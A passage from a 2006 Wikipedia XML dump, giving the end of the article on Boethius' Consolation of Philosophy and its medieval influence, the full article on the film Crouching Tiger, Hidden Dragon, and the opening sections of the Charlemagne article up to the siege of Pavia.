Boethius writes the book as a conversation between himself and the Queen of Science, Lady Philosophy. She consoles Boethius' failed fortunes by discussing the transitory nature of earthly belongings, and the ultimate superiority of things of the mind, which she calls the “one true good”. She says happiness comes from within, something that [[fortuna|Lady Fortune]] can never take away: “Why, then, O mortal men, do you seek that happiness outside, which lies within yourselves?”

Boethius discusses time-worn philosophical questions such as the nature of predestination and free will, why evil men often prosper and good men fall into ruin, what is [[human nature]], and to define [[virtue]] and [[justice]]. He speaks about the nature of free will versus determinism when he asks if God knows and sees all, or does man have free will. To quote [[VE. Watts]] on Boethius, ''God is like a spectator at a chariot race; He watches the action the charioteers perform, but this does not cause them.''{{fn|4}} On human nature, Boethius says that humans are essentially good and only when they give in to “wickedness” do they “sink to the level of being an animal.” On justice, he says criminals are not to be abused, rather treated with sympathy and respect, using the analogy of doctor and patient to illustrate the ideal relationship between criminal and prosecutor.

Boethius sought to answer religious questions without reference to Christianity, relying solely on natural philosophy and the Classic Greek tradition. He believed in harmony between faith and reason. The truths found in Christianity would be no different than the truths found in philosophy. In the words of Henry Chadwick, “If the ''Consolation'' contains nothing distinctively Christian, it is also relevant that it contains nothing specifically pagan either...[it] is a work written by a Platonist who is also a Christian, but is not a Christian work.” {{fn|5}}

==Influence==

::&lt;sup&gt;“To acquire a taste for it is almost to become naturalised in the Middle Ages.” [[C.S. Lewis]]&lt;/sup&gt; {{fn|6}}

[[Image:Consolation of philosophy 1385 boethius images.jpg|thumb|200px|From a 1385 Italian manuscript of the ''Consolation'': Minatures of Boethius teaching and in prison]]
From the [[Carolingian]] epoch to the end of the Middle Ages and beyond, this was the most widely copied work of secular literature in Europe. It was one of the most popular and influential philosophical works, read by statesmen, poets, and historians, as well as of philosophers and theologians. It is through Boethius that much of the thought of the Classical period was made available to the Western Medieval world. It has often been said Boethius was the “last of the Romans and the first of the Scholastics”. {{fn|7}}

The philosophical message of the book fit well with the religious piety of the Middle Ages. Readers were encouraged not to seek wordly goods such as money and power, but to seek internalized virtues. Evil had a purpose, to provide a lesson to help change for good; while suffering from evil was seen as virtuous. Because God ruled the universe through Love, prayer to God and the application of Love would lead to true happiness.{{fn|8}} The Middle Ages, with their vivid sense of an overruling fate, found in Boethius an interpretation of life closely akin to the spirit of Christianity. The ''Consolation of Philosophy'' stands, by its note of fatalism and its affinities with the Christian doctrine of humility, midway between the heathen philosophy of [[Seneca the Younger]] and the later Christian philosophy of consolation represented by [[Thomas Aquinas]].{{fn|9}}

The book is heavily influenced by [[Plato]] and his [[Socratic Dialogue|dialogues]] (as was Boethius himself). Its popularity can in part be explained by its [[neoplatonic]] and Christian ethical messages, although current scholarly research is still far from clear exactly why and how the work became so vastly popular in the Middle Ages. Notably, the book has not received much attention in the recent modern era, possibly in part because of its foreign inward looking virtues and rejection of the modern emphasis on material productiveness. {{fn|10}} As Sanderson Beck says of the Middle Ages:
[[Image:ForutuneWheel.jpg|thumb|left|200px|Lady Fortune with her wheel in a medieval manuscript of a work by [[Boccaccio]]; ''Consolation of Philosophy'' was responsible for the popularity of the goddess of Fortune in the Middle Ages]]
:“Who can say that this inward period of humanity did not prepare the way for the productiveness of the Renaissance like a person quiets one's consciousness in contemplation and prayer before creating a great work of art or literature or science? The Middle Ages were difficult times politically and economically, but who can estimate how much happiness they inwardly received from the Consolation of Philosophy?”.{{fn|11}}

Translations into [[vernacular]] were done personally by famous notables, to list a few: [[King Alfred]] ([[Old English language|Old English]]), [[Jean de Meun]] ([[Old French]]), [[Geoffrey Chaucer]] ([[Middle English]]), [[Queen Elizabeth I]] ([[Early Modern English]]), [[Notker Teutonicus]] ([[Old German]]).

Found within ''Consolation'' are themes that have echoed throughout the Western canon: the female figure of wisdom that informs Dante, the ascent through the layered universe that is shared with Milton, the reconciliation of opposing forces that find their way into Chaucer in The Knight's Tale, the Wheel of Fortune so popular throughout the Middle Ages.

Citations from it occur frequently in [[Dante]]s ''[[Divina Commedia]]''. Of Boethius, Dante remarked ''“The blessed soul who exposes the deceptive world to anyone who gives ear to him.”''{{fn|12}}

Boethian influence can be found nearly everywhere in [[Geoffrey Chaucer]]'s poetry, e.g. in ''[[Troilus and Criseyde]]'', ''[[The Knight's Tale]]'', ''[[The Clerk's Tale]]'', ''[[The Franklin's Tale]]'', ''[[The Parson's Tale]]'' and ''[[The Tale of Melibee]]'', in the character of Lady Nature in ''[[The Parliament of Fowls]]'' and some of the shorter poems, such as ''Truth'', ''The Former Age'' and ''Lak of Stedfastnesse''. Chaucer translated the work in his ''[[Boece (Chaucer)|Boece]]''.

Many 19th century poets reference Boethius.

[[Tom Shippey]] in ''The Road to Middle-Earth'' says how “Boethian” much of the treatment of evil is in [[Tolkien]]'s [[The Lord of the Rings]]. Shippey says that Tolkien knew well the translation of Boethius that was made by King Alfred and he quotes some “Boethian” remarks from Frodo, Treebeard, and Elrond. {{fn|13}}

Boethius and ''Consolatio Philosophiae'' are cited frequently by the main character Ignatius J. Reilly in the [[Pulitzer Prize]] winning [[A Confederacy of Dunces]] (1980).

It is a [[prosimeter]] (and probably the most famous one), written in sections alternately of narrative [[prose]] and more contemplative [[verse]], which display a virtuosic command of the forms of [[Latin poetry]]. It is classified as a [[Menippean satire]], a fusion of [[allegory|allegoric]]al tale, [[platonic dialogue]], and lyrical poetry.

In the 20th century there were close to four hundred manuscripts still surviving, a testament to its once great popularity.

==See also==
*[[Allegory in the Middle Ages]]
{{Wikisourcelang|la|De philosophiae consolatione|De philosophiae consolatione}}
{{Commons|Category}}

==References==
* [http://etext.lib.virginia.edu/latin/boethius/boecons.html Boethius: ''Consolatio Philosophiae''] in the original Latin with English comments at the University of Virginia's Library Electronic Text Center.
* [http://www.gutenberg.org/etext/14328 Consolatio Philosophiae] from [[Project Gutenburg]], beautiful HTML conversion, originally translated by H.R. James, London 1897.
* Boethius, Peterg. Walsh, VE Watts, ''The Consolation of Philosophy (Oxford World's Classics)'', 2001, ISBN 0872205843
* Sanderson Beck, [http://www.san.beck.org/Boethius.html The Consolation of Boethius] an analysis and commentary. 1996.
* ''[[The Catholic Encyclopedia]]'', [http://www.newadvent.org/cathen/02610b.htm “Anicius Manlius Severinus Boethius”], 1913.
* Henry Chadwick, ''Boethius: The Consolations of Music, Logic, Theology and Philosophy'', 1990, ISBN 0198265492
* C.S. Lewis, ''The Discarded Image : An Introduction to Medieval and Renaissance Literature'', 1964, ISBN 0521477352
* ''[[The Cambridge History of English and American Literature]]'', [http://www.bartleby.com/211/0605.html Volume I Ch.6.5: ''De Consolatione Philosophiae''], 1907-1921.

==Footnotes==
*{{fnb|1}} ''The Consolation of Philosophy (Oxford World's Classics)'', Introduction (2000)
*{{fnb|2}} [[Edward Gibbon]]'s ''[[The Decline and Fall of the Roman Empire]]''
*{{fnb|3}} Catholic Encyclopedia. The quote is commonly seen in a number of sources, but without attribution; the Catholic Encyclopedia article is the oldest “known” citation found.
*{{fnb|4}} ''The Consolation of Philosophy (Oxford World's Classics)'', Introduction (2000)
*{{fnb|5}} ''Boethius: The Consolations of Music, Logic, Theology and Philosophy'' (1990)
*{{fnb|6}} ''The Discarded Image'' (1964), pg. 75
*{{fnb|7}} [[Dante]] placed Boethius the “last of the Romans and first of the Scholastics” among the doctors in his Paradise (see ''[[The Divine Comedy]]'').
*{{fnb|8}} Sanderson Beck (1996).
*{{fnb|9}} ''De Consolatione Philosophiae'' (1907-1921)
*{{fnb|10}} Sanderson Beck (1996).
*{{fnb|11}} ibid.
*{{fnb|12}} Dante ''The Divine Comedy''. “blessed souls” inhabit Dante's Paradise, and appear as flames. (see note above).
*{{fnb|13}} Tom Shippey, ''The Road to Middle-Earth'', pg. 140, ISBN 0395339731, (1983).

[[Category:Latin texts]]
[[Category:Medieval literature]]

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    </revision>
  </page>
  <page>
    <title>Crouching Tiger, Hidden Dragon</title>
    <id>5313</id>
    <revision>
      <id>41938720</id>
      <timestamp>2006-03-02T19:32:22Z</timestamp>
      <contributor>
        <username>Savidan</username>
        <id>677067</id>
      </contributor>
      <comment>if we have it break its better to break it here</comment>
      <text xml:space="preserve">{{Infobox Film |
  name         = Crouching Tiger, &lt;br&gt; Hidden Dragon |
  image              = Crouching Tiger Hidden Dragon DVD.jpg |
  writer             = [[Wang Du Lu]] (book)&lt;br&gt;[[Hui-Ling Wang]]&lt;br&gt;[[James Schamus]]&lt;br&gt;[[Kuo Jung Tsai]] |
  starring           = [[Chow Yun-Fat]]&lt;br&gt;[[Michelle Yeoh]]&lt;br&gt;[[Zhang Ziyi]]&lt;br&gt;[[Chang Chen]] |
  director           = [[Ang Lee]] |
  producer           = [[Li-Kong Hsu]]&lt;br&gt;[[William Kong]]&lt;br&gt;[[Ang Lee]]&lt;br&gt;see article |
  music by           = [[Dun Tan]]
  distributor        = [[Sony Pictures Entertainment Inc.]] |
  released       = [[July 6]] [[2000]] ([[Hong Kong]]) |
  runtime            = 120 min. |
  language     = [[Standard Mandarin|Mandarin]] |
  imdb_id            = 0190332 |
  budget             = $15,000,000 US (est.)|
}}

'''''Crouching Tiger, Hidden Dragon''''' ({{zh-tsp|t=&amp;#33253;&amp;#34382;&amp;#34255;&amp;#40845;|s=&amp;#21351;&amp;#34382;&amp;#34255;&amp;#40857;|p=Wò H&amp;#468; Cáng Lóng}}) is a [[Wuxia film|wuxia]] (&quot;[[martial arts film|martial arts]] and chivalry&quot;) [[film]] released in [[2000]].  It is a [[China]]/[[Hong Kong]]/[[Taiwan]]/[[USA]] co-produced film.  It was directed by [[Ang Lee]] and starred [[Chow Yun-Fat]], [[Michelle Yeoh]], and [[Zhang Ziyi]]. It was choreographed by [[Yuen Wo Ping]] (&amp;#34945;&amp;#21644;&amp;#24179;; pinyin: Yuán Hépíng) and based on the fourth novel in a [[pentalogy]], known in China as the Crane/Iron Pentalogy by [[Wang Dulu]] (&amp;#29579;&amp;#24230;&amp;#30439;; pinyin: Wáng Dùlú).

Made on a mere $15 million budget, with dialogue in [[Mandarin Chinese|Mandarin]], ''Crouching Tiger, Hidden Dragon'' became an international success. It grossed [[United States dollar|$]]128 million in the [[United States]] alone, where foreign-language films are very rarely embraced by the public. The critically-acclaimed movie was nominated for numerous awards around the world including the [[Academy Awards]]' [[Academy Award for Best Picture|Best Picture]]. It won four Academy Awards, including [[Academy Award for Best Foreign Language Film|Best Foreign Language Film]]. The score by composer [[Tan Dun]] also received much acclaim.  ''Crouching Tiger, Hidden Dragon'' received the [[Hugo Award]] for Best Dramatic Presentation in [[2001]].

It was filmed in the [[Anhui]] and [[Xinjiang]] [[provinces of China|provinces]] of [[China]].
==Plot==
{{spoiler}}

Although a fiction, the story is set in the [[Qing Dynasty]] in [[Chinese history|China]], likely during the reign of the [[Kangxi_Emperor|Kangxi Emperor]] (circa 1680). Support for this is found in the props, the hair and clothing styles, the appearance of a [[telescope]] and the fact that the desert raiders still expected government officials to be Han Chinese, as opposed to Manchu. 

The story follows two experienced and legendary [[martial arts]] warriors, Li Mu Bai (&amp;#26446;&amp;#24917;&amp;#30333;; pinyin: L&amp;#464; Mùbái) (played by [[Chow Yun-Fat]]) and Yu Shu Lien (&amp;#20313;&amp;#31168;&amp;#34030;; pinyin: Yú Xiùlián) (played by [[Michelle Yeoh]]). Both are in love but feel they cannot act on their feelings because of a previous commitment years ago, when Shu Lien was bethrothed to be married to Mu Bai's &quot;Brother by Oath&quot;. Meanwhile Jen (&amp;#29577;&amp;#23308;&amp;#40845;; pinyin: Yù Ji&amp;#257;olóng) (played by [[Zhang Ziyi]]), a [[Manchu]] aristocrat's daughter, yearns for [[adventure (film)|adventure]], not life as a court wife. Jen is a secret apprentice to the evil warrior woman Jade Fox (whom Mu Bai has sworn to kill for the death of his master). Mu Bai is tasked with locating the legendary sword, The Green Destiny, which has been stolen by Jen. Jen fights with Mu Bai on several occasions, but he refuses to kill her because he wants to train her as his apprentice. Jen also fights with Shu Lien, who spares her out of feelings of love and friendship.
Jen is headstrong in her powers and emboldened by her forbidden love to the desert bandit Lo (played by [[Chang Chen]]), and consequently she does not accept Mu Bai as a master nor Shu Lien as a friend.

The title ''Crouching Tiger, Hidden Dragon'' (&amp;#33253;&amp;#34382;&amp;#34255;&amp;#40845;) is attributed to a Chinese saying which teaches one to conceal one's strengths from others in order to preserve the element of surprise. It also references two of the characters: Jen's Mandarin name (Ji&amp;#257;olóng) means &quot;pampered [[Chinese dragon|dragon]]&quot;, and Lo's (Xiào Hǔ) means &quot;little [[tiger]]&quot;.
[[Image:CrouchingTiger UKDVD.jpg|right|thumb|UK DVD cover]]
The [[fantasy film|fantasy]] aspect of the film comes into play whenever the three protagonists fight. They possess seemingly [[magic (paranormal)|magical]] powers, literally vaulting across roofs, running up walls, and moving with superhuman ease. These powers are explained in the movie only by the protagonists' training and secret knowledge of the ''[[Wudang Mountains|Wudang]]'' school of martial arts. This aspect of the film, which is characteristic in the ''wuxia'' film genre, also lends itself to frequent [[parody]].

==Pentalogy==
The film is an adaptation of the fourth novel in a [[pentalogy]], or five-novel cycle, known as the Crane/Iron Pentalogy and written by noted wuxia novelist [[Wang Dulu]]. The novels in the pentalogy are: ''[[Crane Frightens Kunlun]]''; ''[[Precious Sword, Golden Hairpin]]''; ''[[Sword's Force, Pearl's Shine]]''; ''Crouching Tiger, Hidden Dragon''; and ''[[Iron Knight, Silver Vase]]''.

The pentalogy has been adapted into a series of [[graphic novel]]s:
# {{cite book
 | author = [[Wang Du Lu]]
 | others = illustrated by [[Andy Seto]]
 | title = Crouching Tiger, Hidden Dragon: v. 1
 | year = 2003
 | publisher = Comics One Corporation 
 | id = ISBN 1588999998
 }}
# {{cite book
 | author = [[Wang Du Lu]]
 | others = illustrated by [[Andy Seto]]
 | title = Crouching Tiger, Hidden Dragon: v. 2
 | year = 2004
 | publisher = Comics One Corporation 
 | id = ISBN 158899175X 
 }}
# {{cite book
 | author = [[Wang Du Lu]]
 | others = illustrated by [[Andy Seto]]
 | title = Crouching Tiger, Hidden Dragon: v. 3
 | year = 2003
 | publisher = Comics One Corporation 
 | id = ISBN 1588991768 
 }}
# {{cite book
 | author = [[Wang Du Lu]]
 | others = illustrated by [[Andy Seto]]
 | title = Crouching Tiger, Hidden Dragon: v. 4
 | publisher = Comics One Corporation 
 | year = 2003
 | id = ISBN 1588993051 
 }}
# {{cite book
 | author = [[Wang Du Lu]]
 | others = illustrated by [[Andy Seto]]
 | title = Crouching Tiger, Hidden Dragon: v. 5
 | year = 2003
 | publisher = HK Comics Ltd 
 | id = ISBN 9628527835 
 }}
# {{cite book
 | author = [[Wang Du Lu]]
 | others = illustrated by [[Andy Seto]]
 | title = Crouching Tiger, Hidden Dragon: v. 6
 | year = 2004
 | publisher = HK Comics Ltd 
 | id = ISBN 9628527843 
 }}
# {{cite book
 | author = [[Wang Du Lu]]
 | others = illustrated by [[Andy Seto]]
 | title = Crouching Tiger, Hidden Dragon: v. 7
 | year = 2004
 | publisher = HK Comics Ltd 
 | id = ISBN 9628527851 
 }}
# {{cite book
 | author = [[Wang Du Lu]]
 | others = illustrated by [[Andy Seto]]
 | title = Crouching Tiger, Hidden Dragon: v. 8
 | year = 2004
 | publisher = HK Comics Ltd 
 | id = ISBN 962852786X 
 }}
# {{cite book
 | author = [[Wang Du Lu]]
 | others = illustrated by [[Andy Seto]]
 | title = Crouching Tiger, Hidden Dragon: v. 9
 | year = 2004
 | publisher = HK Comics Ltd 
 | id = ISBN 9628527878 
 }}
# {{cite book
 | author = [[Wang Du Lu]]
 | others = illustrated by [[Andy Seto]]
 | title = Crouching Tiger, Hidden Dragon: v. 10
 | year = 2005
 | publisher = HK Comics Ltd 
 | id = ISBN 9628527886 
 }}
# {{cite book
 | author = [[Wang Du Lu]]
 | others = illustrated by [[Andy Seto]]
 | title = Crouching Tiger, Hidden Dragon: v. 11
 | year = 2005
 | publisher = HK Comics Ltd 
 | id = ISBN 9628527894 
 }}
# {{cite book
 | author = [[Wang Du Lu]]
 | others = illustrated by [[Andy Seto]]
 | title = Crouching Tiger, Hidden Dragon: v. 12
 | year = January 31, 2006
 | publisher = HK Comics Ltd 
 | id = ISBN 9628527800 
 }}
# {{cite book
 | author = [[Wang Du Lu]]
 | others = illustrated by [[Andy Seto]]
 | title = Crouching Tiger, Hidden Dragon: v. 13
 | year = 2005
 | publisher = HK Comics Ltd 
 | id = ISBN 9889797224
 }}

==Production==
''Crouching Tiger, Hidden Dragon'' is an &quot;international co-production&quot;, and it was produced by the following film companies: 
[[Asia Union Film &amp; Entertainment Ltd.]], [[China Film Co-Production Corporation]], [[Columbia Pictures]] Film Production Asia, [[EDKO Film Ltd.]], [[Good Machine]], [[Sony Pictures Classics]], [[United China Vision]], [[Zoom Hunt International Productions Company, Ltd]].

Much of the international success of the film was due to the fact that, unlike most Chinese films, this one was supported by [[Sony Pictures]] and therefore received marketing typical of Western films.

==Reception==
Despite its international fame, the movie was not as well received in [[China]], [[Hong Kong]], and [[Taiwan]]. It was perceived by many as another ''wuxia'' movie among countless in the past four decades. Members of the Mandarin-speaking audience complained that they had to read the Chinese subtitles because the actors' accents were hard to understand. Neither Chow nor Yeoh speak Mandarin as a [[native language]].

==See also==
* [[A Love Before Time]] (end-credit title song)
* [[Cinema of China]]
*[[Cinema of Hong Kong]]
*[[Cinema of Taiwan]]

==External links==

* [http://www.chikung.org.tw/etxt/20010222-1.htm A philosphical discussion of the film]
* [http://csc.ziyi.org/filmography/cthd/index.html Zhang Ziyi CSC: Crouching Tiger, Hidden Dragon]
* [http://www.helloziyi.us/ Zhang Ziyi: Crouching Tiger Hidden Dragon]
*{{imdb title|id=0190332|title=Crouching Tiger, Hidden Dragon}}

{{Ang Lee Films}}

[[Category:2000 films]]
[[Category:Chinese sword era films]]
[[Category:Best Picture Oscar Nominee]]
[[Category:Best Song Oscar Nominee]] &lt;!-- &quot;A Love Before Time&quot; --&gt;
[[Category:Wuxia]]
[[Category:Best Foreign Language Film Oscar winner]]
[[Category:Martial arts films]]
[[Category:Films based on fiction books]]
[[Category:Films directed by Ang Lee]]
[[Category:Best Director Golden Globe]]
[[Category:Best Foreign Language Film Golden Globe]]

[[bs:Tigar i zmaj]]
[[de:Tiger and Dragon]]
[[eo:Wò hǔ zàng lóng]]
[[fr:Tigre et dragon]]
[[it:La tigre e il dragone]]
[[nl:Crouching Tiger, Hidden Dragon]]</text>
    </revision>
  </page>
  <page>
    <title>Charlemagne</title>
    <id>5314</id>
    <revision>
      <id>41925868</id>
      <timestamp>2006-03-02T17:45:30Z</timestamp>
      <contributor>
        <ip>207.68.36.13</ip>
      </contributor>
      <text xml:space="preserve">{|align=right
|
[[Image:Charlemagne-by-Durer.jpg|right|thumb|Charlemagne, portrait by [[Albrecht Dürer]].]]
|-
|{{carolingians}}
|}

'''Charlemagne''' ([[742]] or [[747]] &amp;ndash; [[28 January]] [[814]]) (also '''Charles the Great'''{{ref|1}}; from [[Latin]], '''Carolus Magnus''' or '''Karolus Magnus'''), son of King [[Pippin the Short]] and [[Bertrada of Laon]], was the [[king of the Franks]] from [[768]] to 814 and king of the [[Lombards]] from [[774]] to 814.  He was crowned ''[[Imperator Augustus]]'' in [[Rome]] on [[Christmas Day]], [[800]] by [[Pope Leo III]] and is therefore regarded as the founder of the [[Holy Roman Empire]], a reincarnation of the ancient [[Western Roman Empire]].  Through military conquest and defence, he solidified and expanded his realm to cover most of Western Europe and is today regarded as the founding father of both [[France]] and [[Germany]] and sometimes as the ''Father of Europe''.  His was the first truly imperial power in the West since the fall of Rome.

==Background==
[[Image:Karl_1_mit_papst_gelasius_gregor1_sacramentar_v_karl_d_kahlen.jpg|thumb|left|250px|A Frankish king (center), like Charlemagne, depicted in the Sacramentary of [[Charles the Bald]] (about [[870]]).]]
The [[Franks]], originally a [[Paganism|pagan]], [[barbarian]], [[Germanic peoples|Germanic]] people who migrated over the [[River Rhine]] in the late [[fifth century]] into a crumbling [[Roman Empire]], were, by the early [[eighth century]], the masters of [[Gaul]] and a good portion of [[central Europe]] east of the Rhine and the protectors of the [[Papacy]] and the [[Roman Catholic]] faith.  However, their ancient dynasty of kings, the [[Merovingians]], had long before descended into a state of complete disutility.  Their chief officers, the [[mayor of the palace|mayors of the palace]], had, practically-speaking, usurped all government powers of any consequence.  The final dynasts were called ''rois fainéants'', do-nothing kings, and for a period of five years ([[737]]-742), the mayor of the palace, [[Charles Martel]], governed without one on the throne.  

It was from these mayors of the palaces that the Franks were to draw more useful monarchs.  Charles Martel was the illegitimate son of the Mayor [[Pippin of Heristal]], who himself was the son of a Mayor [[Ansegisel]] and his wife, [[Saint Begga]].  It is through the fathers of Ansegisel and Begga, [[St Arnulf of Metz]] and [[Pippin of Landen]] respectively, that Martel's dynasty received its name, that of [[Arnulfing]]s or [[Pippinid]]s.  Martel died before he could place a new [[puppet king]] on the throne and he was succeeded by his son [[Pippin the Short]], the father of Charlemagne.  Pippin promptly placed a puppet on the throne and refusing to play any part in such a charade as his father's, he called for the [[pope]], [[Zachary]], to give the man with the royal power the royal title.  This the pope did and Pippin was crowned and consecrated king of the Franks in [[751]].  

As a consequence of this, Pippin's eldest son, Charlemagne, immediately became heir to the great realm which already covered most of western and central Europe.  It was not the old name of Pippin of Landen or Ansegisel that was to be immortalised, however.  From his Latin name, Carolus, the new dynasty which was to bequeath the world [[France]] and [[Germany]] is called the [[Carolingian]].

==Date and place of birth==

Charlemagne's birthday was believed to be [[April 2]], 742 in Aachen; however several factors led to reconsideration of this traditional date. First, the year 742 was calculated from his age given at death, rather than attestation within primary sources.  Another date is given in the ''Annales Petarienses'', April 1, 747. In that year, April 1 is [[Easter]]. The birth of an Emperor on Easter is a coincidence likely to provoke comment, but there is no such comment documented in 747, leading some to suspect that the Easter birthday was a pious fiction concocted as a way of honoring the Emperor. Other commentators weighing the primary records have suggested that the birth was one year later, [[748]]. At present, it is impossible to be certain of the date of the birth of Charlemagne. The best guesses include April 1, 747, after [[April 15]], 747, or April 1, 748, probably in [[Herstal]] or [[Jupille]] (where his father was born), both close to [[Liège (city)|Liège]], in [[Belgium]], the region from which both the Meroving and Caroling families originate. Other cities have been suggested, including [[Prüm]], [[Düren]], or [[Aachen]].

==Personal appearance==

[[Image:Portrait of Charlemagne whom the Song of Roland names the King with the Grizzly Beard.png|right|thumb|Portrait of Charlemagne, whom the ''Song of Roland'' names the &quot;King with the Grizzly Beard&quot;&amp;mdash;[[Facsimile]] of an [[engraving]] from the end of the [[sixteenth century]].]]

Charlemagne's personal appearance is not known from any contemporary portrait, but it is known rather famously from a good description by [[Einhard]], author of the biographical ''Vita Caroli Magni''.  He is well known to have been tall, stately, and fair-haired, with disproportionately thick neck.  As Einhard tells it in his 22nd chapter:

:''Charles was large and strong, and of lofty stature, though not disproportionately tall (his height is well known to have been seven times the length of his foot); the upper part of his head was round, his eyes very large and animated, nose a little long, hair fair, and face laughing and merry. Thus his appearance was always stately and dignified, whether he was standing or sitting; although his neck was thick and somewhat short, and his belly rather prominent; but the symmetry of the rest of his body concealed these defects. His gait was firm, his whole carriage manly, and his voice clear, but not so strong as his size led one to expect.''

The Roman tradition of realistic personal portraiture was in complete eclipse at this time, where individual traits were submerged in [[icon]]ic typecastings.  Charlemagne, as an ideal ruler, ought to be portrayed in the corresponding fashion, any contemporary would have assumed. The images of enthroned Charlemagne, God's representative on Earth, bear more connections to the icons of [[Christ]] in majesty than to modern (or antique) conceptions of portraiture. Charlemagne in later imagery (as in the [[Dürer]] portrait) is often portrayed with flowing blond hair, due to a misunderstanding of Einhard, who describes Charlemagne as having ''canitie pulchra'', or &quot;beautiful white hair&quot;, which has been rendered as blonde or fair in many translations. The [[Latin]] word for blond is ''flavus'', and ''rutilo'', meaning ''auburn'', is the word [[Tacitus]] uses for the Germans' hair.

===Dress===

Charlemagne wore the traditional, inconspicuous, and distinctly non-aristocratic costume of the Frankish people, described by Einhard thus:

:''He used to wear the national, that is to say, the Frank, dress-next his skin a linen shirt and linen breeches, and above these a tunic fringed with silk; while hose fastened by bands covered his lower limbs, and shoes his feet, and he protected his shoulders and chest in winter by a close-fitting coat of otter or marten skins.''

He accessorised too, wearing a blue cloak and always carrying a sword with him.  The typical sword was of a [[gold]]en or [[silver]] hilt.  However, he wore fancy jewelled swords to banquets or ambassadorial receptions.  Nevertheless:

:''He despised foreign costumes, however handsome, and never allowed himself to be robed in them, except twice in Rome, when he donned the Roman tunic, chlamys, and shoes; the first time at the request of Pope Hadrian, the second to gratify Leo, Hadrian's successor.'' 

He could rise to the occasion when necessary.  On great feast days, he wore embroidery and jewels on his clothing and shoes.  He had a golden buckle for his cloak on such occasions and would appear with his great [[diadem]], but he despised such apparel, according to Einhard, and usually dressed as the common people.

==Life==
Much of what is known of Charlemagne's life comes from his biographer, [[Einhard]], who wrote a ''Vita Caroli Magni'' (or ''Vita Karoli Magni''), the ''Life of Charlemagne''. 

===Early life===
Charlemagne was the eldest child of Pippin the Short ([[714]] &amp;ndash; [[24 September]] 768, reigned from 751) and his wife [[Bertrada of Laon]] ([[720]] &amp;ndash; [[12 July]] [[783]]), daughter of [[Caribert of Laon]] and [[Bertrada of Cologne]].  The reliable records name only [[Carloman, son of Pippin III|Carloman]] and [[Gisela]] as his younger siblings. Later accounts, however, indicate that [[Redburga]], wife of King [[Egbert of Wessex]], might have been his sister (or sister-in-law or niece), and the legendary material makes him [[Roland]]'s maternal nephew through [[Lady Bertha]].

Einhard says of the early life of Charles:

:''It would be folly, I think, to write a word concerning Charles' birth and infancy, or even his boyhood, for nothing has ever been written on the subject, and there is no one alive now who can give information on it. Accordingly, I determined to pass that by as unknown, and to proceed at once to treat of his character, his deed, and such other facts of his life as are worth telling and setting forth, and shall first give an account of his deed at home and abroad, then of his character and pursuits, and lastly of his administration and death, omitting nothing worth knowing or necessary to know.''

This article follows that general format.

On the death of Pippin, the kingdom of the Franks was divided&amp;mdash;following tradition&amp;mdash;between Charlemagne and Carloman.  Charles took the outer parts of the kingdom, bordering on the sea, namely [[Neustria]], western [[Aquitaine]], and the northern parts of [[Austrasia]], while Carloman retained the inner parts: southern Austrasia, [[Septimania]], eastern Aquitaine, [[Burgundy]], [[Provence]], and [[Swabia]], lands bordering on [[Italy]].  Perhaps Pippin regarded Charlemagne as the better warrior, but Carloman may have regarded himself as the more deserving son, being the son, not of a mayor of the palace, but of a king.

===Joint rule===
On [[9 October]], immediately after the funeral of their father, both the kings withdrew from [[Saint Denis]] to be proclaimed by their nobles and consecrated by their bishops, Charlemagne in [[Noyon]] and Carloman in [[Soissons]].  

The first event of his reign was the rising of the Aquitainians and [[Gascon]]s, in [[769]], in that territory split between the two kings.  Pippin had killed in war the last [[duke of Aquitaine]], [[Waifer of Aquitaine|Waifer]].  Now, one [[Hunald of Aquitaine|Hunold]]&amp;mdash;perhaps the same Hunold who was father to Waifer, but perhaps someone else&amp;mdash;led the Aquitainians as far north as [[Angoulême]].  Charlemagne met Carloman, but Carloman refused to participate and returned to Burgundy.  Charlemagne went on the warpath, leading an army to [[Bordeaux]], where he set up a camp at Fronsac.  Hunold was forced to flee to the court of Duke [[Lop II of Gascony|Lupus II of Gascony]].  Lupus, fearing Charlemagne, turned Hunold over in exchange for peace.  He was put in a monastery.  Aquitaine was finally fully subdued by the Franks.

The brothers maintained not-so-friendly, not-so-hateful relations with the assistance of their mother Bertrada, but Charlemagne signed a treaty with Duke [[Tassilo III of Bavaria]] and married [[Gerperga]], daughter of King [[Desiderius]] of the [[Lombards]], in order to surround Carloman with his own allies.  Though [[Pope Stephen III]] first opposed the marriage with the Lombard princess, he would have little to fear of a Frankish-Lombard alliance in a few months.  

Charlemagne repudiated his wife and quickly married another, a Swabian named [[Hildegard of Savoy|Hildegard]].  The repudiated Gerperga returned to her father's court at [[Pavia]].  The Lombard's wrath was now aroused and he would gladly have allied with Carloman to defeat Charles.  But before war could break out, Carloman died on [[5 December]] [[771]].  Carloman's wife [[Gerberga]] (perhaps a daughter of Desiderius herself) fled to Desiderius' court with her sons for protection.  This action is usually considered either a sign of Charlemagne's enmity or Gerberga's confusion.

===Conquest of Lombardy===

[[Image:Charlemagne and Pope Adrian I.jpg|thumb|The Frankish king Charlemagne was a devout Catholic who maintained a close relationship with the papacy throughout his life. In [[772]], when [[Pope Hadrian I]] was threatened by invaders, the king rushed to Rome to provide assistance. Shown here, the pope asks Charlemagne for help at a meeting near Rome.]]

At the succession of Pope [[Hadrian I]] in 772, he demanded the return of certain cities in the former [[exarchate of Ravenna]] as in accordance with a promise of Desiderius' succession.  Desiderius instead took over certain papal cities and invaded the [[Pentapolis]], heading for [[Rome]].  Hadrian sent embassies to Charlemagne in [[Autumn]] requesting he enforce the policies of his father, Pippin.  Desiderius sent his own embassies denying the pope's charges.  The embassies both met at [[Thionville]] and Charlemagne upheld the pope's side.  Charlemagne promptly demanded what the pope had demanded and Desiderius promptly swore never to comply.  The invasion was not short in coming.  Charlemagne and his uncle [[Bernhard, son of Charles Martel|Bernard]] crossed the [[Alps]] in [[773]] and chased the Lombards back to [[battle of Pavia (773)|Pavia, which they then besieged]].  Charlemagne temporarily left the siege to deal with [[Adelchis, son of Desiderius]], who was raising an army at [[Verona]].  The young prince was chased to the [[Adriatic]] littoral and he fled to [[Constantinople]] to plead for assistance from [[Constantine V|Constantine V Copronymus]], who was waging war with the [[Bulgars]].

The siege lasted until the [[spring]] of 774, when Charlemagne visited the pope in Rome.  There he confirmed his father's grants of land, with some later chronicles claiming&amp;mdash;falsely&amp;mdash;that he also expanded them, granting [[Tuscany]], [[Emilia]], [[Venice]], and [[Corsica]].  The pope granted him the title ''[[patrician]]''.  He then returned to Pavia, where the Lombards were on the verge of surrendering. 

